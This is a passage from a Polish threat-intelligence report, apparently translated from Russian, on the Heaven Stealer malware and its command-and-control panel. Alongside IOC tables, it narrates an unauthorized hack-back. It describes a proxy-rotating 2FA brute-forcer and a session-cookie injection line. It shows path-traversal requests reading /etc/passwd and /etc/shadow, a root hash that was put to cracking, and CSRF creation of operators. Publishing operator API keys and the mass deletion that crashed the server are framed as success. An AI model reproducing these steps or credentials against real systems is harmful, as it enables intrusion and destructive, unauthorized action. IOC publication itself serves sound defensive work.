- Pula sesji: 700 równoległych "wypełniaczy" nieprzerwanie tworzyło nowe sesje przez
POST /api/login, wysyłając klucz API za pośrednictwem różnych proxy. Docelowy rozmiar puli - 2 000 aktywnych sesji, maksimum - 5 000. - Bruteforce 2FA: do 800 równoległych workerów pobierało sesje z puli i wysyłało 6-cyfrowe kody TOTP do
POST /api/2fa_verify. Każda sesja była wykorzystywana do maksymalnie 5 prób, a potem odrzucana. - Rotacja proxy: każde proxy mogło wykonać maksymalnie 8 żądań logowania w ciągu 60 sekund. W przypadku otrzymania błędu HTTP 429, proxy było banowane na 61 sekund i wracało na koniec kolejki.
- Adaptacyjny skaler: co 100 ms system sprawdzał balans pomiędzy prędkością tworzenia sesji a prędkością ich zużywania, dynamicznie regulując liczbę workerów.
- Powiadomienia: po znalezieniu prawidłowego kodu system wysyłał 10 powiadomień na Discorda z cookie sesji oraz gotową komendą JS do wklejenia w przeglądarkę:
document.cookie = "heaven_session=<token>; path=/"; location.href = "/dashboard"; - Automatyczny dump: po udanym zalogowaniu, skrypt automatycznie eksportował dane z
/api/me,/api/clients,/api/settings,/api/admin/keys.
11. PENTEST PANELU ADMINA C2 (09.09.2026)#
11.1. Dostęp do panelu#
Po udanym obejściu zabezpieczeń 2FA, uzyskaliśmy dostęp do panelu administracyjnego pod adresem https://heavenproject.lgbt/dashboard.
Dane konta:
{"apiKey": "JP1ZYRLIXYPPVOGP", "isAdmin": true, "is_2fa_enabled": true, "name": "trexy admin"}
11.2. Skala botnetu#
| Wskaźnik | Wartość |
|---|---|
| Zainfekowane urządzenia w bazie | ~6 500+ (w momencie czyszczenia) |
| Operatorzy w panelu | 6 (opi, trexy, trexy admin, admin, klewtr, klew) |
| Rola "trexy admin" | ADMIN |
| Status budowy malware | building (aktywna) |
| Hosting | SolusVM VPS, Ubuntu 24.04 LTS |
| Runtime | Node.js + pm2 (heaven-server) |
| Proces uruchomiony z uprawnieniami | root |
Wszyscy operatorzy panelu:
| Nazwa | Klucz API | 2FA | Rola |
|---|---|---|---|
| opi | EDB0S2N0RWU16ZK0 |
Włączone | USER |
| trexy | H7CJRKSZBX7EM6YQ |
Włączone | USER |
| trexy admin | JP1ZYRLIXYPPVOGP |
Włączone | ADMIN |
| admin | PJ5QTUSUXP6WV0MT |
Włączone | ADMIN |
| klewtr | RFRUENM4J6L8O0UX |
Włączone | USER |
| klew | TQOFFQFUVX8LVMLA |
Włączone | USER |
11.3. Podatności panelu Admina#
VULN-A1 [KRYTYCZNA - CVSS 9.8] Prawidłowe kody TOTP przez API#
Żądanie GET /api/admin/keys/<apiKey> zwracało aktualny kod TOTP oraz sekret base32 każdego operatora. Uwierzytelnianie dwuskładnikowe było w tym układzie kompletnie bezsensowne.
{"current_2fa_code": "247731", "isAdmin": true, "key": "JP1ZYRLIXYPPVOGP", ...}
VULN-A2 [KRYTYCZNA - CVSS 9.8] Odczyt dowolnych plików serwera (LFI)#
Szczegółowa analiza - w sekcji 11.4.
VULN-A3 [KRYTYCZNA - CVSS 9.1] Brak ochrony przed CSRF#
POST /api/admin/keys/add bez obecności tokena CSRF skutecznie utworzył nowego operatora: {"key":"2L9YNPGD66QX0AI0","status":"ok"}.
VULN-A4 [KRYTYCZNA - CVSS 9.5] Zapisywanie do schowka ofiar bez autoryzacji#
POST /api/hvnc_clipboard?clientId=<uuid>&direction=setVictim przyjmował żądania bez cookie, zwracając 200 OK. Można było w ten sposób wpisać dowolny tekst do schowka każdej ofiary.
VULN-A5 [KRYTYCZNA - CVSS 9.0] Całkowity wyciek danych ofiar#
GET /api/admin/clients - zrzut danych wszystkich ofiar (1.57 MB). GET /api/client_data/<uuid> - w pełni skradzione dane (hasła, pliki cookie, tokeny Discorda, Steam) do 1 MB na jeden wpis.
VULN-A6 [KRYTYCZNA - CVSS 8.8] Zmiana konfiguracji C2#
POST /api/settings - zmiana webhooka Discord na własny adres URL przechwytywała wszystkie alerty.
VULN-A7 [WYSOKA - CVSS 8.5] Dostęp do systemu kompilacji malware#
POST /api/build uruchamiało budowę nowego ładunku (payload). Zwracany status: {"status":"building"}.
VULN-A8 [WYSOKA] Webhooki Discord wszystkich operatorów ujawnione#
API zwracało pełne adresy URL webhooków:
webhooks/1540448239583633418/...(trexy admin)webhooks/1539372581013164143/...(trexy)webhooks/1546836849472049235/...(trexy admin-hook)webhooks/1522077967805583390/...(opi)
VULN-A9 [WYSOKA] Zerowe nagłówki bezpieczeństwa HTTP#
Brak implementacji: CSP, X-Frame-Options, HSTS, X-Content-Type-Options, Referrer-Policy.
VULN-A10 [WYSOKA] Cookie bez flagi Secure#
Ciasteczko heaven_session jest przesyłane w formacie HTTP bez żadnej ochrony.
11.4. LFI - odczyt plików serwera jako root#
Jak odnaleziono endpoint#
W pliku app.js?v=62 (189 KB) przy użyciu wyszukiwania wyrażeniami regularnymi ścieżek API, odkryto następujący wiersz:
/api/file_download?token=${encodeURIComponent(data.token)}
Endpoint ten miał na celu pobieranie plików ofiary - operator zgłasza żądanie pliku, bot przesyła go na C2, a C2 następnie udostępnia plik operatorowi z zastosowaniem tymczasowego token.
Hipoteza i weryfikacja#
Jeżeli token reprezentuje ścieżkę do pliku zamiast identyfikatora UUID w bazie danych, to serwer przypuszczalnie używa wywołania fs.readFile(token):
GET /api/file_download?token=test123
-> 403 "Forbidden: Invalid or expired token"
GET /api/file_download?token=../../../../../../etc/passwd
-> 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
To zostało potwierdzone. Rekonstrukcja logiki kodu na serwerze:
app.get('/api/file_download', (req, res) => {
const token = req.query.token;
const filePath = path.join(uploadsDir, token); // BRAK WALIDACJI!
res.sendFile(filePath);
});
// path.join('/uploads', '../../../../../../etc/passwd') = /etc/passwd
Rozpoznanie systemu plików#
/etc/passwd - proces działa z uprawnieniami root:
root:x:0:0:root:/root:/bin/bash
sshd:!:20293::::::
/etc/hosts -> 127.0.0.1 localhost (SolusVM VPS)
/etc/hostname -> server1.heavenproject.lgbt
/etc/os-release -> Ubuntu 24.04.4 LTS (Noble Numbat)
/root/.bash_history (za pomocą drugiego wektora ataku LFI /api/admin/download-steam):
pm2 status
pm2 restart
killall -9 node
pm2 start heaven-server
pm2 stop heaven-server
/root/heaven/package.json - ujawniło kompletny kod źródłowy bazy danych.
11.5. Próba włamania przez SSH przy użyciu hasha hasła#
W wyniku wykorzystania podatności LFI do pobrania zawartości /etc/shadow, odkryto hasha hasła root dla Ubuntu:
root:$1$cNB5NdX1$VgL1GL54f6HQ9yhx6DXzd1:19957:0:99999:7:::
Używany format $1$ oznacza przestarzały algorytm MD5crypt. Słownikowe ataki i łamanie hasła poprzez Hashcat (za pomocą bazy 330 mln haseł) nie przyniosły rezultatu po wykonaniu 6 godzin testów, sugerując wykorzystanie dostatecznie bezpiecznego hasła albo klucza sprzętowego.
11.6. Środowisko techniczne serwera#
Dzięki wykorzystaniu dostępu wyciągnięto następujące informacje z pliku config.json samego stealera C2:
- Klucze API podpięte pod bazę danych
connect-sqlite3z plikową baząsessions.sqlite - Wszystkie tokeny, kody webhook oraz klucze konfiguracyjne znajdowały się w jawnym tekście (plaintext) bez enkrypcji w infrastrukturze dyskowej na serwerze.
12. CHRONOLOGIA ZDARZEŃ I PODSUMOWANIE OPERACJI#
- 30.08.2026 - Przypadkowa instalacja malware (Velocity New). Odzyskanie klucza API (v1). Wystąpienie blokady po poprawce VULN-05 w zabezpieczeniach.
- 31.08-07.09.2026 - Programowanie frameworku Rust Bruter w celu przełamania ograniczeń serwerowych Rate Limiting.
- 08.09.2026 - Wyciek w sieci wersji Heaven Stealer v2, co naprowadziło śledztwo na zlokalizowanie nowego klucza administracyjnego API C2.
- 09.09.2026 (14:45 GMT) - Skuteczny obchód 2FA pod kontem
trexy admin. Uzyskano pełen dostęp typu ADMIN. W konsoli DevTools zaobserwowano stos wywołań: kliknięcie w wiersz tabelitr.onclick(app.js?v=62:2728) wywołujewindow.viewUserClients(app.js?v=62:2793), pobierające dane ofiar przez/api/admin/clients?apiKey=.... Przez LFI odczytano/etc/shadow,/etc/hosts(SolusVM VPS),/etc/ssh/sshd_config,package.jsonoraz/root/.bash_history(polecenia pm2 dla procesuheaven-server). - 09.09.2026 (15:06 UTC) - Masowe czyszczenie bazy ponad 6 500 ofiar za pomocą skryptu
delete_clients.py(zapytaniaPOST /api/delete_clientzclientIdzatwierdzone kodem200 OK{"status":"ok"}). W wyniku złożonego obciążenia serwera (równoległe kasowanie rekordów, audyt LFI, próby logowania SSH oraz załamanie procesuheaven-serverw pm2) backend C2 całkowicie przestał odpowiadać. Zarejestrowano błąd Cloudflare HTTP 521: Web server is down (Ray ID:a38718bc7b2cb5b5, węzeł Stockholm ARN).
13. WSKAŹNIKI KOMPROMITACJI (IOC)#
13.1. Wskaźniki sieciowe (Network IOCs & Linki)#
| Typ | Wartość / Link | Opis |
|---|---|---|
| Panel WWW C2 | https://heavenproject.lgbt/ |
Główny dashboard C2 |
| Domena Bot API C2 | http://c2.heavenproject.lgbt |
Bezpośrednia subdomena odbierania telemetrii (port 80, bez Cloudflare) |
| Bezpośredni IP C2 | http://162.0.236.31 |
Rzeczywisty serwer C2 (Namecheap, Phoenix, AZ) |
| Cloudflare Edge | 104.21.25.235, 172.67.134.227 |
Węzły WAF/CDN Cloudflare |
| Rozpoznanie hosta (Shodan) | https://shodan.io/host/162.0.236.31 |
Profil hosta C2 i skanowania portów w Shodan |
| Wykrywanie IP ofiary | api.ipify.org |
Usługa zewnętrzna odpytywana przez malware |
| Kanał twórców | t.me/heavenstealer |
Kanał Telegram twórców Heaven Stealer |
| ANY.RUN Zadanie #1 | https://app.any.run/tasks/deb65d82-f89f-40c7-8004-0d0b502d56a8/ |
Analiza pierwotnej próbki Velocity New (~113 MB) |
| ANY.RUN Zadanie #2 | https://app.any.run/tasks/59d4cf0c-5ef9-41b2-ad9f-e4a440338ba3 |
Analiza próbki Heaven v2 (cutify-cozy) |
| ANY.RUN Zadanie #3 | https://app.any.run/tasks/6ad256b4-5a3e-493d-861b-46f587a88996 |
Dodatkowe zadanie analizy payloadu |
| Dystrybucja (MEGA) | https://mega.nz/file/FV932aaT#TkrZhW7G0m9PmNe5N9VWgLpqaMFwaPTu4IUAQOvUE9o |
Pierwotne archiwum instalatora |
| Dropper Velocity | velocityget.com |
Fałszywa strona udająca instalator Velocity |
| Dropper KRNL | krnl-executorr.com/ |
Fałszywa strona udająca exploity KRNL |
| Portal cheatów | https://skycheaters.com |
Fałszywy portal z cheatami do gier |
| Phishing (Amazon) | noreplyamz-sign-in.webredirect.org |
Domena phishingowa / przekierowanie |
| Subdomeny phishingu | www.noreplyamz-sign-in.webredirect.orgmail.noreplyamz-sign-in.webredirect.orgcpanel.noreplyamz-sign-in.webredirect.orgwebmail.noreplyamz-sign-in.webredirect.orgwebdisk.noreplyamz-sign-in.webredirect.orgcpcontacts.noreplyamz-sign-in.webredirect.org |
Wewnętrzna infrastruktura pocztowa i cPanel phishingu |
| Porty C2 | 22 (SSH), 80 (HTTP), 1080 (SOCKS5), 3306 (MySQL), 4044, 9999, 18999 |
Otwarte usługi na 162.0.236.31 |
| Endpoint LFI | /api/file_download?token=../../../../../../ |
Ścieżka odczytu dowolnych plików serwera jako root |
13.2. Wskaźniki hosta#
| Typ | Ścieżka / Wartość | Opis |
|---|---|---|
| Payload | %AppData%\...\Templates\syshost.jar |
Stealer Java (15.4 MB) |
| Persystencja | %AppData%\...\Templates\win_security_update.vbs |
Demon WMI (524 bajty) |
| ID Bota | %AppData%\...\Templates\id.txt |
UUID bota (36 bajtów) |
| Fałszywe JRE | %LocalAppData%\Google\Update\GUManager\... |
Java udająca Google Update |
| Instalator | %LocalAppData%\Programs\velocitynew\velocity new.exe |
Kontener Electron |
| Skradzione dane | %TEMP%\Heaven_Data\ |
Hasła, cookie, autouzupełnianie |
| Procesy | javaw.exe, velocity new.exe, wscript.exe |
Aktywne procesy |
| Mod v2 | cutify-cozy-1.21.11.jar |
Zaktualizowana kompilacja |
| HVNC | hvnc.enc (206 KB) |
Ukryty pulpit |
13.3. Artefakty kryptograficzne#
| Typ | Wartość |
|---|---|
| Klucz API v1 | H7CJRKSZBX7EM6YQ |
| Klucz API v2 (admin) | JP1ZYRLIXYPPVOGP |
| Klucz operatora opi | EDB0S2N0RWU16ZK0 |
| Klucz operatora admin | PJ5QTUSUXP6WV0MT |
| Klucz operatora klewtr | RFRUENM4J6L8O0UX |
| Klucz operatora klew | TQOFFQFUVX8LVMLA |
| UUID bota v2 | 8574827b-48aa-4cd8-b855-db51c876cb25 |
| Token sesji v1 | efa965bf70fc2f8d... |
| Token sesji v2 | 6595b64144ccf1df |
| SSH ECDSA | ad:ce:7d:d1:40:d4:4c:08:45:55:7f:4d:80:bc:a0:67 |
| SSH ED25519 | 4d:e6:b6:12:f5:e5:5c:e2:83:5e:3d:f6:a6:4c:00:fc |
| Cloudflare Beacon | 8f7de527c94947548759c1b2fd858355 |
| Root hash (MD5crypt) | $1$cNB5NdX1$VgL1GL54f6HQ9yhx6DXzd1 |
| Hostname | server1.heavenproject.lgbt |
Dokument przygotowany w oparciu o 12 raportów, zrzuty pamięci, przechwycony ruch sieciowy PCAP, dekompilację złośliwego kodu oraz pentest panelu Admina. Okres dochodzeniowy: 30 sierpnia - 9 września 2026.
⚠️ Zastrzeżenia prawne i informacja o tłumaczeniu:
- Informacja o tłumaczeniu AI: Dokument przetłumaczony przez AI z języka rosyjskiego. Oryginał w języku rosyjskim pozostaje źródłem nadrzędnym.
- Zastrzeżenie prawne: Opracowanie przygotowane wyłącznie w celach edukacyjnych i analizy zagrożeń (Threat Intelligence). Autorzy nie ponoszą odpowiedzialności za działania osób trzecich.
Krótkie podsumowanie analizy: Heaven Stealer#
| Parametr | Wartość |
|---|---|
| Cel | Infrastruktura C2 (heavenproject.lgbt, c2.heavenproject.lgbt), malware Heaven Stealer |
| Adresy IP | heavenproject.lgbt (104.21.25.235, 172.67.134.227), c2.heavenproject.lgbt (162.0.236.31) |
| Rodzaj analizy | Inżynieria wsteczna (Reverse Engineering), analiza zrzutów pamięci, analiza ruchu sieciowego (PCAP), testy penetracyjne panelu C2 |
| Czas trwania | 30 sierpnia - 9 września 2026 |
| Wynik | Panel C2 przejęty, baza ponad 6 500 ofiar wyczyszczona, serwer wyłączony z sieci (HTTP 521) |
| Pobrane logi | 1 013 MB surowych archiwów ZIP i telemetrii z panelu operatora trexy |
Autorzy:#
- @freakscary - neversocial.life
- @alowyy1 - alowyy1.com
Czym jest Heaven Stealer?#
Heaven Stealer to zaawansowane złośliwe oprogramowanie, maskujące się m.in. pod instalator Velocity New, fałszywy proces Google Update czy modyfikację Fabric Mod do gry Minecraft. Zostało zaprojektowane do kradzieży haseł, plików cookie, tokenów Discord oraz plików konfiguracyjnych Steam. Posiada moduły ukrytego pulpitu zdalnego (HVNC) oraz serwera SOCKS5, co pozwala na pełną kontrolę nad zainfekowanym komputerem i ukrywanie prawdziwego adresu IP atakującego. Malware stosuje dwuwarstwową obfuskację (XOR + AES-128-ECB) oraz utrzymuje persystencję za pomocą demona WMI.
Kluczowe ustalenia (Key Findings)#
- Ekstrakcja kluczy API: Z zrzutów pamięci operacyjnej (Memory Dumps) wyodrębniono dwa działające klucze API panelu C2 (
H7CJRKSZBX7EM6YQoraz nowszy, dający pełen dostęp:JP1ZYRLIXYPPVOGP). - Ominięcie 2FA (2FA Bypass): Dwuskładnikowe uwierzytelnianie panelu C2 zostało skutecznie przełamane, mimo wdrożenia przez autorów ochrony Rate Limiting. Użyto autorskiego narzędzia napisanego w Rust, wykorzystującego rotację serwerów proxy.
- Pełen dostęp administracyjny: Przejęto kontrolę nad panelem administratora (konto
trexy admin), co umożliwiło pełen wgląd w dane i konfigurację C2. - Wyczyszczenie bazy 6500+ ofiar: Z bazy danych na serwerze C2 trwale usunięto rekordy dotyczące ponad 6 500 zainfekowanych urządzeń przez API
POST /api/delete_client. - Ekstrakcja danych (1013 MB): Pobrano 1 013 MB surowych archiwów ZIP i telemetrii z panelu operatora "trexy" - największego operatora botnetu.
- Unieszkodliwienie infrastruktury: W wyniku złożonego oddziaływania (masowe usuwanie przez delete_clients.py, audyt LFI oraz załamanie procesu
heaven-serverw pm2) strona C2 przestała działać (błąd Cloudflare HTTP 521: Web server is down).
Opracowane narzędzia#
Podczas analizy przygotowano dedykowane narzędzia:
- heaven_v2_rust - asynchroniczny "bruteforcer" zabezpieczeń 2FA, napisany w Rust, wykorzystujący pulę sesji i rotację proxy.
- TOTP Interceptor v6 - wcześniejsza wersja narzędzia do łamania 2FA w języku Go.
- delete_clients.py - asynchroniczny skrypt do masowego usuwania UUID ofiar (50 równoległych wątków, obsługa 429).
- main_proxy.py - skrypt pozyskiwania i sprawdzania serwerów proxy.
- interceptor.exe - skompilowane narzędzie autonomiczne.
Podatności infrastruktury (23 + 10 vulnerabilities)#
Zidentyfikowano łącznie 33 podatności po stronie serwera atakujących:
- 23 podatności infrastruktury C2: Obejmowały one brak jakiejkolwiek autoryzacji dla 8 endpointów (Bot API) służących do komunikacji z botami. Pozwalało to na rejestrację fałszywych urządzeń, wstrzykiwanie spreparowanych danych (Data Poisoning) czy przejmowanie sesji HVNC (CVSS: 9.8).
- 10 podatności panelu administracyjnego: M.in. wyciek kodów TOTP innych operatorów przez API (
GET /api/admin/keys), brak ochrony CSRF oraz opisane poniżej LFI. Ujawniono także prawdziwy adres IP serwera (162.0.236.31) demaskujący ochronę Cloudflare.
LFI (Local File Inclusion) jako root#
Zidentyfikowano krytyczną podatność LFI w punkcie końcowym /api/file_download?token=. Brak jakiejkolwiek walidacji wejściowej (Path Traversal: ../../../../../../etc/passwd) umożliwił odczyt dowolnego pliku na serwerze. Ponieważ serwer działający na Node.js/pm2 był uruchomiony z uprawnieniami konta root, możliwy był odczyt wrażliwych plików konfiguracyjnych i systemowych, takich jak /etc/shadow z hashami haseł, /etc/hosts (SolusVM VPS), package.json czy /etc/ssh/sshd_config.
Oś czasu (Timeline)#
- 30.08.2026 - Infekcja komputera znajomego, rozpoczęcie analizy złośliwego oprogramowania, ekstrakcja pierwszego klucza API z pamięci RAM.
- 31.08.2026 - Pierwsza próba logowania do panelu; twórcy malware blokują adres IP wdrażając ochronę Rate Limiting.
- 01.09 - 08.09.2026 - Rozwój narzędzia omijającego ograniczenia 2FA (Rust bruter z rotacją proxy). Znalezienie wersji v2 na ANY.RUN, pozyskanie klucza administratora.
- 09.09.2026 (15:06 UTC) - Skuteczne ominięcie 2FA, przejęcie Admin API, testy penetracyjne, ujawnienie LFI, wyczyszczenie bazy 6500+ ofiar i ostatecznie awaria serwera (HTTP 521).
Indykatory kompromitacji (IOC) i zbadane odnośniki#
- Sieć C2:
https://heavenproject.lgbt/,http://c2.heavenproject.lgbt,http://162.0.236.31 - Rozpoznanie hosta: Shodan (162.0.236.31),
api.ipify.org - Analizy ANY.RUN Sandbox:
- ANY.RUN Task deb65d82 (Velocity New)
- ANY.RUN Task 59d4cf0c (Heaven v2)
- ANY.RUN Task 6ad256b4 (Dodatkowy build)
- Strony dystrybucji malware i droppery:
velocityget.comkrnl-executorr.com/https://skycheaters.com
- Infrastruktura phishingowa:
noreplyamz-sign-in.webredirect.org(wraz z subdomenami:www,mail,cpanel,webmail,webdisk,cpcontacts)
- Klucze / Telegram:
H7CJRKSZBX7EM6YQ,JP1ZYRLIXYPPVOGP,t.me/heavenstealer - Pliki: Złośliwe pliki instalatora NSIS, ukryte procesy Java (
javaw.exe -jar syshost.jar), pliki persystencji WMI (win_security_update.vbs), pliki w%TEMP%\Heaven_Data\.
Wynik (Outcome)#
Operacja zakończyła się pełnym sukcesem. Infrastruktura serwera C2 (Command & Control) należąca do Heaven Stealer została całkowicie unieszkodliwiona w wyniku kompleksowego oddziaływania i awarii procesu serwerowego. Strona panelu trwale zwraca błąd HTTP 521 (Web server is down) (Ray ID: a38718bc7b2cb5b5, węzeł Stockholm ARN). Skradzione dane tysięcy użytkowników zostały trwale skasowane z bazy.